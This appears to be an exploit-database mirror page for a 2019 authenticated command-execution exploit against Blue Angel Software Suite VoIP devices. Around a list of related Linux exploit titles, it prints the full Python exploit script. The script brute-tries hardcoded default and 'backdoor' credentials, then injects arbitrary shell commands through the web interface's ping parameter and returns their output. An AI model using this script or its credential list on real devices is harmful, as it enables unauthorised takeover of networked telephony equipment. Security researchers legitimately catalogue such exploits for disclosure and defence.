Menu

Improved exploit search engine. Try it out

"Blue Angel Software Suite - Command Execution"

Author

"Paolo Serracino_ Pietro Minniti_ Damiano Proietti"

Platform

linux

Release date

2019-05-03

Release Date Title Type Platform Author
2019-07-17 "Oracle Siebel CRM 19.0 - Persistent Cross-Site Scripting" webapps linux "Sarath Nair"
2019-07-17 "Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME" local linux "Google Security Research"
2019-07-16 "CentOS Control Web Panel 0.9.8.838 - User Enumeration" webapps linux "Pongtorn Angsuchotmetee_ Nissana Sirijirakal_ Narin Boonwasanarak"
2019-07-16 "CentOS Control Web Panel 0.9.8.836 - Privilege Escalation" webapps linux "Pongtorn Angsuchotmetee_ Nissana Sirijirakal_ Narin Boonwasanarak"
2019-07-16 "CentOS Control Web Panel 0.9.8.836 - Authentication Bypass" webapps linux "Pongtorn Angsuchotmetee"
2019-07-16 "PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)" remote linux Metasploit
2019-07-03 "Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)" local linux Metasploit
2019-07-01 "PowerPanel Business Edition - Cross-Site Scripting" webapps linux "Joey Lane"
2019-07-01 "Linux Mint 18.3-19.1 - 'yelp' Command Injection" remote linux b1ack0wl
2019-06-26 "Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)" local linux Metasploit
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-18 "Serv-U FTP Server < 15.1.7 - Local Privilege Escalation" local linux "Guy Levin"
2019-06-17 "Exim 4.87 - 4.91 - Local Privilege Escalation" local linux "Marco Ivaldi"
2019-06-17 "Netperf 2.6.0 - Stack-Based Buffer Overflow" dos linux "Juan Sacco"
2019-06-14 "CentOS 7.6 - 'ptrace_scope' Privilege Escalation" local linux s4vitar
2019-06-11 "Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)" remote linux AkkuS
2019-06-10 "Ubuntu 18.04 - 'lxd' Privilege Escalation" local linux s4vitar
2019-06-05 "Exim 4.87 < 4.91 - (Local / Remote) Command Execution" remote linux "Qualys Corporation"
2019-06-05 "LibreNMS - addhost Command Injection (Metasploit)" remote linux Metasploit
2019-06-04 "Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution" local linux Arminius
2019-05-08 "NetNumber Titan ENUM/DNS/NP 7.9.1 - Path Traversal / Authorization Bypass" webapps linux MobileNetworkSecurity
2019-05-08 "MiniFtp - 'parseconf_load_setting' Buffer Overflow" local linux strider
2019-05-03 "Blue Angel Software Suite - Command Execution" remote linux "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-05-01 "CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - Domain Field (Add DNS Zone) Cross-Site Scripting" webapps linux DKM
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
Release Date Title Type Platform Author
2019-05-03 "Blue Angel Software Suite - Command Execution" remote linux "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-01-14 "Horde Imp - 'imap_open' Remote Command Execution" webapps php "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46792/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46792/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46792/41226/blue-angel-software-suite-command-execution/download/", "exploit_id": "46792", "exploit_description": "\"Blue Angel Software Suite - Command Execution\"", "exploit_date": "2019-05-03", "exploit_author": "\"Paolo Serracino_ Pietro Minniti_ Damiano Proietti\"", "exploit_type": "remote", "exploit_platform": "linux", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution
# Google Dork: N/A
# Date: 02/05/2019
# Exploit Author: Paolo Serracino 
# Vendor Homepage: http://www.5vtechnologies.com
# Software Link: N/A
# Version: All
# Tested on: Embedded Linux OS
# CVE : N/A
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated 
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one. 
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.
# A list of these accounts is hardcoded in the script.

#/usr/bin/python
import sys
import requests


def check_sw(target,port):

  res = requests.get(target + ':' + port)

  if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:
     return True
  else:
     print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"
     return False

def check_login(target,port,command):

   if not check_sw(target,port):
      sys.exit()

   creds_common = [('blueangel','blueangel'), #the "backdoor" account
                   ('root','abnareum10'),
                   ('root','Admin@tbroad'),
                   ('root','superuser'),
                   ('user','user') ,
                   ('guest','guest'),
                   ]
 
   for i in range(len(creds_common)):
      postdata=[('action','login_authentication'),
               ('redirect_action','sysinfo_page'),
               ('login_username',creds_common[i][0]),
               ('login_password',creds_common[i][1]),
               ('B1','Login')
               ]

      res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)

      if 'Set-Cookie' in res.headers:
         cookie = res.headers.get('Set-Cookie')
         print '[+] LOGGED IN WITH CREDENTIALS  ' + str(creds_common[i][0] + ' : ' + creds_common[i][1]) 
         execute_cmd(target,port,cookie,command)  
         return True


def execute_cmd(target,port,cookie,cmd):

   print '[+] EXECUTING COMMAND'
   new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
                 'Referer': target,
                 'Cookie': cookie
                })
   res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)
   res_lines = res.text.splitlines()
   result = []
   copy = False

   for line in res_lines:

      if 'round-trip min/avg/max' in line:
         copy = True
      elif '</pre></body></html>' in line: 
         copy = False
      elif copy == True:
         result.append(line)

   print('[+] COMMAND RESPONSE')
   print('------------------------------------------')

   for r in result:
      print r
   print('------------------------------------------')


def main():

   if len(sys.argv) < 4:
      print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'
      sys.exit()
   
   target = sys.argv[1]   
   port = sys.argv[2]
   command = sys.argv[3]
   if not check_login(target,port,command):
      print '[-] COULD NOT FIND VALID CREDENTIALS'
      
if __name__ == "__main__":
    main()